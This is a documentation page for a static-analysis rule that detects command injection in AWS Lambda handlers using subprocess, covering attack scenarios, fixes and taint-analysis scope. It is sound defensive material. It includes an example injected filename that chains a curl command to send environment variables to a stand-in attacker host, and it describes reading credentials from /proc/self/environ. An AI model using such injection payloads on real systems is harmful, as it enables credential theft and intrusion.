Interactive Playground
Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.
pathfinder scan --ruleset python/PYTHON-LAMBDA-SEC-002 --project .About This Rule
Understanding the vulnerability and how it is detected
This rule detects OS command injection vulnerabilities in AWS Lambda functions where untrusted event data flows into subprocess module calls (subprocess.run(), subprocess.call(), subprocess.Popen(), subprocess.check_output()) either as a string command with shell=True or embedded in a shell command string.
Lambda functions receive input from the event dictionary populated by API Gateway, SQS, SNS, S3, DynamoDB Streams, and other triggers. There is no sanitization layer between the raw event payload and application code, making event fields like event.get("body"), event.get("queryStringParameters"), and event["Records"][0]["body"] fully attacker-controllable in public-facing deployments.
The subprocess module is safer than os.system() when used with a list argument and shell=False (the default). However, two common patterns re-introduce shell injection risk in Lambda handlers: passing a string to subprocess.run() with shell=True, and building a command string via f-string interpolation of event data before passing it to any subprocess variant. Both patterns cause the system shell to interpret metacharacters in the event data. In a Lambda environment, successful injection immediately grants access to the execution role's AWS credentials available in the environment variables.
Security Implications
Potential attack scenarios if this vulnerability is exploited
AWS Credential Theft via Environment Variables
Lambda execution environments expose AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN as environment variables. subprocess with shell=True and injected event data enables an attacker to run env or read /proc/self/environ to capture these credentials, then use them to call AWS APIs with the full permissions of the Lambda's execution role.
Shell Metacharacter Injection
When event data is interpolated into a shell command string, characters like ;, |, `, $(), &&, and || allow an attacker to append or chain arbitrary commands. For example, f"convert {event['filename']} output.jpg" with filename set to "x; curl attacker.com/exfil -d $(env)" executes the curl after the convert regardless of whether convert succeeds.
Internal Network Access from VPC Lambda
Lambda functions inside a VPC can reach internal subnets not accessible from the internet. Command injection can be used to probe internal IP ranges, connect to private RDS endpoints, or interact with internal APIs, pivoting from the Lambda entry point to protected backend infrastructure.
Persistence via /tmp Modification
The /tmp directory persists across warm invocations of the same execution environment. An attacker can write scripts or binaries to /tmp that execute on subsequent invocations of the same warm environment, creating a form of persistence within the execution environment's lifetime.
How to Fix
Recommended remediation steps
- 1Always use subprocess with a list of arguments and shell=False (the default) to prevent the shell from interpreting metacharacters in event data.
- 2Never use shell=True when any part of the command string originates from the Lambda event dictionary.
- 3Validate all event fields against strict allowlists or regular expressions before they appear in any subprocess call.
- 4Consider replacing subprocess calls with native Python libraries via Lambda Layers to eliminate the shell attack surface entirely.
- 5Apply least-privilege IAM policies to the Lambda execution role to minimize the blast radius of successful exploitation.
Detection Scope
How Code Pathfinder analyzes your code for this vulnerability
This rule performs inter-procedural taint analysis with global scope. Sources are Lambda event dictionary access calls: calls("event.get"), calls("event.__getitem__"), including event.get("body"), event.get("queryStringParameters"), event.get("pathParameters"), and event["Records"]. Sinks are calls("subprocess.run"), calls("subprocess.call"), calls("subprocess.Popen"), and calls("subprocess.check_output") with tainted values in the command string argument or shell=True context (tracked via .tracks(0)). Sanitizers include shlex.quote() applied per-argument and strict regex validation patterns. The analysis follows taint through f-strings, concatenation, and function boundaries.
Compliance & Standards
Industry frameworks and regulations that require detection of this vulnerability
References
External resources and documentation
Similar Rules
Explore related security rules for Python
Lambda Command Injection via os.system()
Lambda event data flows to os.system(), enabling arbitrary OS command execution inside the Lambda execution environment.
Lambda Command Injection via os.spawn*()
Lambda event data flows to os.spawn*() functions, enabling process execution with attacker-controlled arguments in the Lambda execution environment.
Lambda Command Injection via asyncio.create_subprocess_shell()
Lambda event data flows to asyncio.create_subprocess_shell(), enabling OS command injection in async Lambda handlers.
Frequently Asked Questions
Common questions about Lambda Command Injection via subprocess
New feature
Get these findings posted directly on your GitHub pull requests
The Lambda Command Injection via subprocess rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.